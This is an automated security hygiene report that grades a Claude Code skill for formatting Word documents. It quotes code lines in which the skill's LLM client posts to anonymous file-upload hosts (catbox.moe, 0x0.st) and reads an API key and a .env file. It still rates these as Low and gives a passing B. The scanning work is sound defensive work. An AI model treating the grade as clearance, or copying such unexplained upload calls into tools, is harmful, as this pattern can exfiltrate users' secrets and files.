Grades are a hygiene check, not a security guarantee.

Claude Code, Skill

Format Agent Skill

按规范文字、内置 Style Pack 或 Word 模板重排以段落和常规表格为主的中文/英文 Word 文稿。适用于公文、论文、普通报告、基础技术手册和法律 brief;可有损导入 .doc/.wps/.odt/.rtf。不要用于简历、表单、宣传册、Newsletter、海报、PDF 版面还原或内容控件应用。

Compatibility: Not stated.

Grade B

Minor issues only, no Medium or High. Worth a quick look at the findings below before installing.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

Rescanned at commit 8dd726caba43, unchanged since the check below.

INSTALL_UNPINNED NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST SECRETS_PATH_DOTENV PERMISSION_SHELL_DECLARED SECRETS_ENV_READ OBFUSCATION_FILE_OVER_READ_CAP

Why this grade

  • INSTALL_UNPINNED Low

    Dependencies use a range or git URL with no lockfile.

    requirements.txt, line 1 python-docx>=1.2,<2

  • NETWORK_NO_FIXED_HOST Low

    Makes a network call whose host is not written as a fixed address.

    core/llm.py, line 118 r = requests.post("https://litterbox.catbox.moe/resources/internals/api.php",

  • NETWORK_UNNAMED_HOST Low

    Calls a fixed host that the description does not name.

    core/llm.py, line 118 r = requests.post("https://litterbox.catbox.moe/resources/internals/api.php",

  • SECRETS_PATH_DOTENV Low

    Mentions a .env file.

    core/llm.py, line 2 # 配置走环境变量(也可写在项目根目录 .env 文件里,.env 已被 gitignore):

  • PERMISSION_SHELL_DECLARED Note

    Runs shell commands, and the manifest or description says so.

    core/field_refresh.py, line 162 result = subprocess.run(

  • SECRETS_ENV_READ Note

    Reads an environment variable whose name contains KEY, SECRET, TOKEN, PASSWORD or CREDENTIAL.

    core/llm.py, line 155 self.api_key = api_key or os.environ.get("LLM_API_KEY") or ""

  • OBFUSCATION_FILE_OVER_READ_CAP Note

    A file was over the read cap and was not fully read.

    examples/模板-党委会议题样表.docx, line 1 PK]�

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Note

    requests shell access. The manifest names this permission.

    PERMISSION_SHELL_DECLARED

    core/field_refresh.py, line 162

    result = subprocess.run(

    core/input_conversion.py, line 159

    result = subprocess.run(

    core/input_conversion.py, line 213

    result = subprocess.run(

    Show more

    core/render.py, line 45

    result = subprocess.run(

    core/render.py, line 82

    result = subprocess.run(

    core/render.py, line 307

    result = subprocess.run(

    core/render.py, line 385

    probe = subprocess.run(

    core/render.py, line 401

    probe = subprocess.run(

  • Install and update

    Concern

    dependencies are not pinned.

    INSTALL_UNPINNED

    requirements.txt, line 1

    python-docx>=1.2,<2

  • Network

    Concern

    can reach litterbox.catbox.moe. The description does not name that host. can reach catbox.moe. The description does not name that host. can reach 0x0.st. The description does not name that host. can reach a host that is not written as a fixed address.

    NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST

    core/llm.py, line 118

    r = requests.post("https://litterbox.catbox.moe/resources/internals/api.php",

    core/llm.py, line 129

    r = requests.post("https://catbox.moe/user/api.php",

    core/llm.py, line 140

    r = requests.post("https://0x0.st",

    Show more

    core/llm.py, line 268

    resp = requests.post(url, headers=headers, json=body, timeout=self.timeout)

    core/llm.py, line 284

    resp = requests.post(url, headers=headers, json=body, timeout=self.timeout)

  • Secrets

    Concern

    reads a credential or environment file.

    SECRETS_ENV_READ SECRETS_PATH_DOTENV

    core/llm.py, line 2

    # 配置走环境变量(也可写在项目根目录 .env 文件里,.env 已被 gitignore):

    core/llm.py, line 23

    _DEFAULT_ENV_PATH = os.path.join(_PROJECT_ROOT, ".env")

    core/llm.py, line 155

    self.api_key = api_key or os.environ.get("LLM_API_KEY") or ""

    Show more

    core/llm.py, line 27

    """极简 .env 加载:KEY=VALUE 逐行读。

    core/llm.py, line 29

    override=True:以 .env 为准(Streamlit 这类长驻进程每次重跑时刷新配置用)。

    core/llm.py, line 165

    max_tokens = os.environ.get("LLM_MAX_TOKENS", "4096").strip()

    .env.example, line 1

    # OpenAI 兼容接口配置 - - 复制本文件为 .env 并填入你的 key(.env 已被 gitignore)

  • Agent instructions

    Pass

    No instruction to ignore earlier instructions or to hide a step.

  • Obfuscation

    Note

    a file was over the read cap and was not fully read.

    OBFUSCATION_FILE_OVER_READ_CAP

    examples/模板-党委会议题样表.docx, line 1

    PK]�

  • Licence

    Pass

    A licence file is present (LICENSE).

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

Note

Hygiene check of commit 8dd726caba43. requests shell access. The manifest names this permission. dependencies are not pinned. can reach litterbox.catbox.moe. The description does not name that host. can reach catbox.moe. The description does not name that host. can reach 0x0.st. The description does not name that host. can reach a host that is not written as a fixed address. reads a credential or environment file. a file was over the read cap and was not fully read.

Date and source

Date checked:

View source

github.com

Commit graded: 8dd726caba43953579d386339765b9613ca6bd58

This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.

Read how this letter is chosen